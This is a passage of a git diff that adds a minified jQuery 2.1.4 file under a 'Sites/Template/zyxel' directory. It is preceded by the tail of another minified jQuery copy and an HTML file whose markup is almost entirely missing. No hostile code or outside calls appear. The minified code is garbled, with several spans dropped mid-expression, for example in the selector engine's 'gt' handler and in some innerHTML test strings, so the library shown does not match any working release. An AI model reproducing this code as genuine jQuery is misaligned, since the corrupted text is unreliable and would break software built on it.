b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n(" + + + + + +
    + + +
    +
    +



    + + + + + \ No newline at end of file diff --git a/Sites/Template/zyxel/js/jquery-2.1.4.min.js b/Sites/Template/zyxel/js/jquery-2.1.4.min.js new file mode 100644 index 0000000..49990d6 --- /dev/null +++ b/Sites/Template/zyxel/js/jquery-2.1.4.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return 